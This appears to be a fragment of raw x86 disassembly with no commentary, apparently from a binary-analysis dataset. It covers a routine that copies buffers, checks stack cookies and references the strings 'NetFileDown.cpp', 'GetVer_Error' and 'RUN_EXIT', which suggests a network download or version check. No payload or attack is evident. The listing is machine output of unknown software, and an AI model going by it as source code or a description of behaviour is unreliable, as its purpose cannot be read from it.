mov byte [ebp - 0x23c], 0
jb 0x46e4d5
push dword [ebp - 0x2b4]
call fcn.004235a4
add esp, 4
mov byte [ebp - 0x40d], 0
jmp 0x46e32b
lea ecx, [ebp - 0x26c]
call fcn.00405270
lea ecx, [ebp - 0x23c]
call fcn.00405270
cmp dword [ebp - 0x2a0], 0x10
mov byte [ebp - 4], 7
jb 0x46e2e1
push dword [ebp - 0x2b4]
call fcn.004235a4
add esp, 4
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x21c], esp
push 0x49bc14
call fcn.004051a0
sub esp, 0x18
mov byte [ebp - 4], 0x16
mov ecx, esp
push 0x498830
call fcn.004051a0
mov ecx, edi
mov byte [ebp - 4], 7
call fcn.0046cd90
push edi
push 0
push 0x46e4f0
call fcn.00483055
add esp, 0xc
mov byte [ebp - 0x40d], 1
cmp dword [ebp - 0x300], 0x10
jb 0x46e342
push dword [ebp - 0x314]
call fcn.004235a4
add esp, 4
cmp dword [ebp - 0x2d0], 0x10
mov dword [ebp - 0x300], 0xf
mov dword [ebp - 0x304], 0
mov byte [ebp - 0x314], 0
jb 0x46e374
push dword [ebp - 0x2e4]
call fcn.004235a4
add esp, 4
cmp dword [ebp - 0x2b8], 0x10
mov dword [ebp - 0x2d0], 0xf
mov dword [ebp - 0x2d4], 0
mov byte [ebp - 0x2e4], 0
jb 0x46e3a6
push dword [ebp - 0x2cc]
call fcn.004235a4
add esp, 4
lea ecx, [ebp - 0x2fc]
mov dword [ebp - 0x2b8], 0xf
mov dword [ebp - 0x2bc], 0
mov byte [ebp - 0x2cc], 0
mov byte [ebp - 4], 0
call fcn.00402ea0
lea ecx, [ebp - 0x3f4]
call fcn.0041dcf0
mov al, byte [ebp - 0x40d]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0042419e
mov esp, ebp
pop ebp
ret 4
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x1c]
call eax
test al, al
je 0x46e4a2
call fcn.00419ec0
push 6
mov ecx, eax
push 0
mov edx, dword [eax]
mov eax, dword [edx + 0x6c]
call eax
mov edx, 0x2000
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], 0x15
mov ecx, dword [eax + 0x20]
sub edx, ecx
lea esi, [ecx + 0x24]
add esi, eax
lea ecx, [esi + edx]
mov edx, esi
sub ecx, esi
cmp ecx, 0x15
jae 0x46e45f
mov dword [ebp - 0x414], ecx
test ecx, ecx
je 0x46e481
push dword [ebp - 0x414]
push 0x49880c
push esi
call fcn.00424600
mov edx, dword [ebp - 0x414]
add esp, 0xc
mov eax, dword [ebp - 0x418]
add edx, esi
sub edx, esi
add dword [eax + 0x20], edx
call fcn.00419ec0
push 0x381
push str.NetFileDown.cpp
push dword [ebp - 0x418]
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0x20]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x21c], esp
push str.GetVer_Error
call fcn.004051a0
sub esp, 0x18
mov byte [ebp - 4], 0x15
mov ecx, esp
push str.RUN_EXIT
call fcn.004051a0
mov ecx, edi
mov byte [ebp - 4], 7
call fcn.0046cd90
mov byte [ebp - 0x40d], 0
jmp 0x46e32b